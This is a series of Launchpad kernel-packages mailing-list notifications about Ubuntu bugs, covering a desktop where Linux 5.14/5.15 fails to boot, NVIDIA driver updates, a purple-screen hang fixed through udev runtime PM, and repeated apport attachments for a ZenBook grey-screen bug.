5.15.1 still fails to boot on my desktop. Nothing is changed. ** Summary changed: - Linux 5.14/4.13.14 fails to boot + Linux 5.15/5.14/4.13.14 fails to boot -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1942377 Title: Linux 5.15/5.14/4.13.14 fails to boot Status in linux package in Ubuntu: Confirmed Bug description: Downloaded and installed packages of 5.14 from https://kernel.ubuntu.com/~kernel-ppa/mainline/ I found it is not able to boot. Please, look in attachment. Motherboard: Asus P5Q3 CPU: Intel(R) Xeon(R) CPU X5482 OS: Kubuntu 21.04 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: KDE DistroRelease: Ubuntu 21.04 InstallationDate: Installed on 2019-04-13 (872 days ago) InstallationMedia: Kubuntu 19.04 "Disco Dingo" - Alpha amd64 (20190326.1) Package: linux (not installed) ProcEnviron: LANGUAGE= PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=uk_UA.UTF-8 SHELL=/bin/bash Tags: hirsute Uname: Linux 5.13.13-051313-generic x86_64 UnreportableReason: The running kernel is not an Ubuntu kernel UpgradeStatus: Upgraded to hirsute on 2021-01-06 (238 days ago) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo _MarkForUpload: True --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu65.1 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: eugene 1270 F pulseaudio /dev/snd/pcmC0D0p: eugene 1270 F...m pulseaudio /dev/snd/controlC2: eugene 1270 F pulseaudio CasperMD5CheckResult: unknown CurrentDesktop: KDE DistroRelease: Ubuntu 21.04 HibernationDevice: RESUME=UUID=7e115b53-56a4-444f-bd93-6ad4f15c4a61 InstallationDate: Installed on 2019-04-13 (872 days ago) InstallationMedia: Kubuntu 19.04 "Disco Dingo" - Alpha amd64 (20190326.1) MachineType: System manufacturer System Product Name Package: linux (not installed) ProcEnviron: LANGUAGE= PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=uk_UA.UTF-8 SHELL=/bin/bash ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-5.11.0-31-generic root=UUID=d87288b4-dbdd-4448-8088-4ebb6ed6cf33 ro rootflags=subvol=@ quiet splash vt.handoff=7 ProcVersionSignature: Ubuntu 5.11.0-31.33-generic 5.11.22 RelatedPackageVersions: linux-restricted-modules-5.11.0-31-generic N/A linux-backports-modules-5.11.0-31-generic N/A linux-firmware 1.197.3 RfKill: Tags: hirsute Uname: Linux 5.11.0-31-generic x86_64 UpgradeStatus: Upgraded to hirsute on 2021-01-06 (238 days ago) UserGroups: adm cdrom dip libvirt lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 06/11/2010 dmi.bios.release: 11.2 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 1102 dmi.board.asset.tag: To Be Filled By O.E.M. dmi.board.name: P5Q3 dmi.board.vendor: ASUSTeK Computer INC. dmi.board.version: Rev 1.xx dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr1102:bd06/11/2010:br11.2:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKComputerINC.:rnP5Q3:rvrRev1.xx:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.family: To Be Filled By O.E.M. dmi.product.name: System Product Name dmi.product.sku: To Be Filled By O.E.M. dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1942377/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1948025] Re: Update the NVIDIA drivers October 2021
This bug was fixed in the package nvidia-graphics-drivers-470 - 470.82.00-0ubuntu0.20.04.1 --- nvidia-graphics-drivers-470 (470.82.00-0ubuntu0.20.04.1) focal; urgency=medium * New upstream release (LP: #1948025): - Fixed a bug that can cause a kernel crash in SLI Mosaic configurations. - Added support for the EGL_NV_robustness_video_memory_purge. [ Kai-Heng Feng ] * debian/71-nvidia.rules: - Enable runtime PM after driver is bound (LP: #1949026). -- Alberto Milone Tue, 26 Oct 2021 15:44:04 +0200 ** Changed in: nvidia-graphics-drivers-470 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-460-server in Ubuntu. https://bugs.launchpad.net/bugs/1948025 Title: Update the NVIDIA drivers October 2021 Status in fabric-manager-450 package in Ubuntu: Fix Released Status in fabric-manager-460 package in Ubuntu: Fix Released Status in libnvidia-nscq-450 package in Ubuntu: Fix Released Status in libnvidia-nscq-460 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-418-server package in Ubuntu: In Progress Status in nvidia-graphics-drivers-450-server package in Ubuntu: In Progress Status in nvidia-graphics-drivers-460-server package in Ubuntu: In Progress Status in nvidia-graphics-drivers-470 package in Ubuntu: In Progress Status in nvidia-graphics-drivers-470-server package in Ubuntu: In Progress Status in nvidia-graphics-drivers-495 package in Ubuntu: Fix Released Status in fabric-manager-450 source package in Bionic: Fix Released Status in fabric-manager-460 source package in Bionic: Fix Released Status in libnvidia-nscq-450 source package in Bionic: Fix Released Status in libnvidia-nscq-460 source package in Bionic: Fix Released Status in nvidia-graphics-drivers-418-server source package in Bionic: Fix Released Status in nvidia-graphics-drivers-450-server source package in Bionic: Fix Released Status in nvidia-graphics-drivers-460-server source package in Bionic: Fix Released Status in nvidia-graphics-drivers-470 source package in Bionic: Fix Released Status in nvidia-graphics-drivers-470-server source package in Bionic: Fix Released Status in nvidia-graphics-drivers-495 source package in Bionic: Fix Released Status in fabric-manager-450 source package in Focal: Fix Released Status in fabric-manager-460 source package in Focal: Fix Released Status in libnvidia-nscq-450 source package in Focal: Fix Released Status in libnvidia-nscq-460 source package in Focal: Fix Released Status in nvidia-graphics-drivers-418-server source package in Focal: Fix Released Status in nvidia-graphics-drivers-450-server source package in Focal: Fix Released Status in nvidia-graphics-drivers-460-server source package in Focal: Fix Released Status in nvidia-graphics-drivers-470 source package in Focal: Fix Released Status in nvidia-graphics-drivers-470-server source package in Focal: Fix Released Status in nvidia-graphics-drivers-495 source package in Focal: Fix Released Status in fabric-manager-450 source package in Hirsute: Fix Released Status in fabric-manager-460 source package in Hirsute: Fix Released Status in libnvidia-nscq-450 source package in Hirsute: Fix Released Status in libnvidia-nscq-460 source package in Hirsute: Fix Committed Status in nvidia-graphics-drivers-418-server source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-450-server source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-460-server source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-470 source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-470-server source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-495 source package in Hirsute: Fix Released Status in fabric-manager-450 source package in Impish: Fix Released Status in fabric-manager-460 source package in Impish: Fix Released Status in libnvidia-nscq-450 source package in Impish: Fix Released Status in libnvidia-nscq-460 source package in Impish: Fix Released Status in nvidia-graphics-drivers-418-server source package in Impish: Fix Released Status in nvidia-graphics-drivers-450-server source package in Impish: Fix Released Status in nvidia-graphics-drivers-460-server source package in Impish: Fix Released Status in nvidia-graphics-drivers-470 source package in Impish: Fix Released Status in nvidia-graphics-drivers-470-server source package in Impish: Fix Released Bug description: Update the NVIDIA series and introduce the new 495 series in Bionic, Focal, Hirsute, and Impish. [Impact] These releases provide both bug fixes and new features, and we would like to make sure all of our users have access to these improvements. See the changelog entry below for a full list of changes and bugs.
[Kernel-packages] [Bug 1950194] UdevDb.txt
apport information ** Attachment added: "UdevDb.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538954/+files/UdevDb.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] acpidump.txt
apport information ** Attachment added: "acpidump.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538956/+files/acpidump.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] RfKill.txt
apport information ** Attachment added: "RfKill.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538953/+files/RfKill.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] PulseList.txt
apport information ** Attachment added: "PulseList.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538952/+files/PulseList.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1949026] Re: System hangs on purple screen
This bug was fixed in the package nvidia-graphics-drivers-470 - 470.82.00-0ubuntu0.20.04.1 --- nvidia-graphics-drivers-470 (470.82.00-0ubuntu0.20.04.1) focal; urgency=medium * New upstream release (LP: #1948025): - Fixed a bug that can cause a kernel crash in SLI Mosaic configurations. - Added support for the EGL_NV_robustness_video_memory_purge. [ Kai-Heng Feng ] * debian/71-nvidia.rules: - Enable runtime PM after driver is bound (LP: #1949026). -- Alberto Milone Tue, 26 Oct 2021 15:44:04 +0200 ** Changed in: nvidia-graphics-drivers-470 (Ubuntu Focal) Status: Fix Committed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-470 in Ubuntu. https://bugs.launchpad.net/bugs/1949026 Title: System hangs on purple screen Status in OEM Priority Project: Triaged Status in nvidia-graphics-drivers-470 package in Ubuntu: New Status in nvidia-graphics-drivers-470 source package in Bionic: Fix Released Status in nvidia-graphics-drivers-470 source package in Focal: Fix Released Status in nvidia-graphics-drivers-470 source package in Hirsute: Fix Released Status in nvidia-graphics-drivers-470 source package in Impish: Fix Released Bug description: [Impact] * In some race condition, the GDM starts before gdm-udev rule be applied. * That's because somehow the nvidia driver takes more times to do the runtime resume. Thus, apply the workaround to postpone to enable RTD3. [Test Plan] 1. In problematic machine, warn/cold boot the system. 2.1 System hangs on GDM login shell 2.2 After apply this patch, the system can enter the login screen. [Where problems could occur] * Postpone to enable RTD3 when binding driver should not impact the functionality since the power consumption usually not be consider in booting stage. --- We are facing an issue that GDM starts with Wayland instead of Xorg, despite of 61-gdm.rules' gdm-disable-wayland for NVIDIA graphics. The issue happens because gdm-disable-wayland is executed after GDM has started. The reason why the udev rules takes so long is because the the runtime suspended NVIDIA GFX takes more than 1 second to runtime resume, hence the driver starts the probing routine rather late. The proper solution is to impose a barrier like systemd-udev-settle.service before GDM, but limits to the GFX device only to avoid waiting for all udev rules are finished. Since such mechanism isn't available right now, workaround the issue by enabling runtime PM after driver is bound to avoid the runtime resume delay, and hope GDM always starts after the probing is done. Please backport below patch to supported nvidia-drivers: https://github.com/tseliot/nvidia-graphics-drivers/pull/41/commits/7e9e4d4a827dc9da0e27058871034245ae4b7508 To manage notifications about this bug go to: https://bugs.launchpad.net/oem-priority/+bug/1949026/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] ProcModules.txt
apport information ** Attachment added: "ProcModules.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538951/+files/ProcModules.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1950194] WifiSyslog.txt
apport information ** Attachment added: "WifiSyslog.txt" https://bugs.launchpad.net/bugs/1950194/+attachment/5538955/+files/WifiSyslog.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1950194 Title: Grey screen on the main display when I plug-in second display Status in linux package in Ubuntu: Confirmed Bug description: CPU: AMD Ryzen 7 4700U with Radeon Graphics × 8 GPU: Advanced Micro Devices, Inc. [AMD/ATI] Renoir Linux Kernel: 5.13.0-21-generic Operating System: Linux Mint 20.2 Cinnamon Cinnamon Version: 5.0.6 Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 The issue started reproducing after I upgrade the Linux kernel from 5.11 to 5.13 --- ProblemType: Bug ApportVersion: 2.20.11-0ubuntu27.21 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: petro 2785 F pulseaudio /dev/snd/controlC1: petro 2785 F pulseaudio /dev/snd/controlC0: petro 2785 F pulseaudio CasperMD5CheckResult: skip CurrentDesktop: X-Cinnamon DistroRelease: Linux Mint 20.2 InstallationDate: Installed on 2021-02-07 (274 days ago) InstallationMedia: Linux Mint 20.1 "Ulyssa" - Release amd64 20210103 MachineType: ASUSTeK COMPUTER INC. ZenBook UX425IA_UM425IA Package: linux (not installed) ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.13.0-21-generic root=UUID=efd181b8-0c68-4035-8cc8-8b65ebadb033 ro quiet splash ProcVersionSignature: Ubuntu 5.13.0-21.21~20.04.1-generic 5.13.18 RelatedPackageVersions: linux-restricted-modules-5.13.0-21-generic N/A linux-backports-modules-5.13.0-21-generic N/A linux-firmware 1.187.20 Tags: uma Uname: Linux 5.13.0-21-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip docker lpadmin plugdev sambashare sudo _MarkForUpload: True dmi.bios.date: 08/29/2020 dmi.bios.release: 5.16 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: UX425IA.306 dmi.board.asset.tag: ATN12345678901234567 dmi.board.name: UX425IA dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: 1.0 dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: ASUSTeK COMPUTER INC. dmi.chassis.version: 1.0 dmi.ec.firmware.release: 3.6 dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrUX425IA.306:bd08/29/2020:br5.16:efr3.6:svnASUSTeKCOMPUTERINC.:pnZenBookUX425IA_UM425IA:pvr1.0:rvnASUSTeKCOMPUTERINC.:rnUX425IA:rvr1.0:cvnASUSTeKCOMPUTERINC.:ct10:cvr1.0:sku: dmi.product.family: ZenBook dmi.product.name: ZenBook UX425IA_UM425IA dmi.product.version: 1.0 dmi.sys.vendor: ASUSTeK COMPUTER INC. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1950194/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
